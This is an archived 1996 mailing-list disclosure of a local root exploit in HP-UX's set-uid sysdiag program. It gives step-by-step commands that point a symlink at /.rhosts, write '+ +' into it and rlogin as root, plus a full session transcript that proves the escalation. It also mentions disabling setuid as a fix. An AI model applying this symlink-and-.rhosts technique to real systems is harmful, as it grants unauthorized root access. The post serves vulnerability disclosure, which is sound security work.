home *** CD-ROM | disk | FTP | other *** search
/ The Hacker's Encyclopedia 1998 / hackers_encyclopedia.iso / hacking / unix / hpux_sys.asc < prev    next >
Encoding:
Text File  |  2003-06-11  |  4.3 KB  |  168 lines

  1.  
  2.                          Vunerability in HP sysdiag ?
  3.                                        
  4.    John W. Jacobi (jjacobi@pop500.gsfc.nasa.gov)
  5.    Sat, 21 Sep 1996 23:56:42 -0700
  6.    
  7. Hi all,
  8.  
  9. If this is out, I apologize.
  10.  
  11. Subject: Vunerability in HP sysdiag ???
  12.  
  13. Program and Systems that I did this on:
  14.         The sysdiag program on
  15.            HP 9000/700/HPUX9.05 (has PHSS_7587)
  16.            HP 9000/800/HPUX9.04 (not sure of patch regarding diags)
  17.  
  18. To Prevent:
  19.         For now, turn off the set uid on the programs involved.
  20.  
  21. This is how it worked for me, perhaps you too:
  22.  
  23. Problem:
  24.  
  25.         Basically, the sysdiag stuff is set-uid root.  You can exploit that
  26. feature to create and write stuff to arbitrary files on the system as
  27. root,
  28. while not being root.  If the target file you want to create exists,
  29. this
  30. doesn't work.  Perhaps there is a way around that, but that ain't the
  31. point.
  32. The point is that I used this to get root in 30 seconds on my HP's and
  33. that's
  34. not good.  Heck, this is probably faster then asking for the root
  35. password !!!
  36.  
  37. More on the problem:
  38.  
  39.         What happens is that a feature exists to create a log file of your
  40. sysdiag session that can be invoked while in the program.  You give it
  41. the
  42. name of the file to create, and if it is a sym link to a non-existant
  43. file,
  44. sysdiag follows the sym link and creates the file as root for you and
  45. logs
  46. your session in it.  To show a typical vunerability, I created /.rhosts
  47. from a sym link in /tmp that sysdiag followed and then caused sysdiag
  48. to
  49. echo the line "+ +" in to the file.  Then I could rlogin as root.
  50.  
  51.         If /.rhosts or /etc/hosts.equiv don't exist, you can use this trick
  52. to create and put a "+ +" in either of those files.  That's an easy way
  53. to
  54. become root or someone else. You can do other files as well.  This
  55. ain't
  56. cool, at all...
  57.  
  58. How I  tested this on my system:
  59.  
  60. 1. I logged in with my regular account
  61. 2. I made a sym link with the command: ln -s /.rhosts /tmp/tempfile
  62. 3. I ran the command: /bin/sysdiag
  63. 4. From the DUI> prompt I typed: outfile /tmp/f1
  64. 5. From the DUI> prompt I typed: + +
  65. 6. From the DUI> prompt I typed: redo
  66. 7. When my previous command echoed to the screen I pressed <return>.
  67. 8. From the DUI> prompt I typed: exit
  68. 9. Now at the shell prompt, and out of sysdiag, I typed:
  69.         rlogin localhost -l root
  70. 10. Once logged in I typed: id
  71.         and it said I was root...
  72.  
  73. This is the script of my sysdiag session:
  74.  
  75. Script started on Sat Sep 21 23:29:10 1996
  76. $ id
  77. uid=1648(jjacobi) gid=999(systems)
  78. $ ls -l /tmp
  79. total 0
  80. $ ls -l /.rhosts
  81. /.rhosts not found
  82. $ ln -s /.rhosts /tmp/tempfile
  83. $ ls -l /tmp
  84. total 2
  85. lrwx--x--x   1 jjacobi  systems        8 Sep 21 23:29 tempfile ->
  86. /.rhosts
  87. $ ls -l /.rhosts
  88. /.rhosts not found
  89. $ /bin/sysdiag
  90. *****************************************************************
  91. ******                                                     ******
  92. ******               ONLINE DIAGNOSTIC SYSTEM              ******
  93. ******                                                     ******
  94. ******          (C) Copyright Hewlett Packard Co.          ******
  95. ******               1987, 1989, 1990, 1992                ******
  96. ******                 All Rights Reserved                 ******
  97. ******                                                     ******
  98. ******              DUI Version A.02.24                    ******
  99. ******         Diagnostic Monitor Version   A.02.19        ******
  100. ******                                                     ******
  101. *****************************************************************
  102.  
  103.     Type "HELP" for assistance.
  104.  
  105. DUI >outfile /tmp/tempfile
  106. DUI >+ +
  107.      ^
  108. *** SYNTAX ERROR (DUISERR 501)
  109.  
  110. DUI >redo
  111. + +
  112.  
  113. DUI >+ +
  114.      ^
  115. *** SYNTAX ERROR (DUISERR 501)
  116.  
  117. DUI >exit
  118. $ ls -l /tmp
  119. total 2
  120. lrwx--x--x   1 jjacobi  systems        8 Sep 21 23:29 tempfile ->
  121. /.rhosts
  122. $ ls -l /.rhosts
  123. -rw-------   1 root     systems      891 Sep 21 23:29 /.rhosts
  124. $ id
  125. uid=1648(jjacobi) gid=999(systems)
  126. $ rlogin localhost -l root
  127. Please wait...checking for disk quotas
  128.  
  129. Value of TERM has been set to "vt100".
  130. # id
  131. uid=0(root) gid=3(sys)
  132. # cat /.rhosts
  133. DUI >+
  134. +
  135.  
  136. ^
  137. *** SYNTAX ERROR (DUISERR
  138. 501)
  139.  
  140. DUI
  141. >redo
  142. +
  143. +
  144. DUI >+
  145. +
  146.  
  147. ^
  148. *** SYNTAX ERROR (DUISERR
  149. 501)
  150.  
  151. DUI
  152. >exit
  153. # exit
  154. logout root
  155. Connection closed.
  156. $ id
  157. uid=1648(jjacobi) gid=999(systems)
  158. $ exit
  159.  
  160. script done on Sat Sep 21 23:30:38 1996
  161.  
  162.  
  163.  
  164. You have reached the end of my message, thank you for reading it.
  165.  
  166. John W. Jacobi
  167.  
  168.